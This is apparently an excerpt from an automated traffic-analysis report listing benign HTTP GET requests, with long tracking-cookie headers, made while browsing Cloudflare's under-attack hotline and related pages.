AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/ins
Source: global traffic	HTTP traffic detected: GET /page-data/under-attack-hotline/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261162; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-22
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3fy2mc73AF9xqD18C5760R/f46ab68d38c9adb30a639f69589d8af0/doordash_134.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; mbox
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259312041&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=4&rnd=690331&cdn_o=a&_biz_z=1729259312041 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261162; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6VUhUMEcvn3L3j88LttHzC/b2cf2b702aad874db9cb61b0028e9c40/logo_garmin_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/ins
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insight
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/19LKSWt3iDJ0SxqNrv3ZMN/b37231a3e6fb1bda5f182e7abecff5ee/cplogo_BW.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/insights/c/u; mbox=se
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2TfcZ86qvZor2xtI2z4Vvr/ef54112582296119f4296869c34ba025/logo_23andme_color_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; 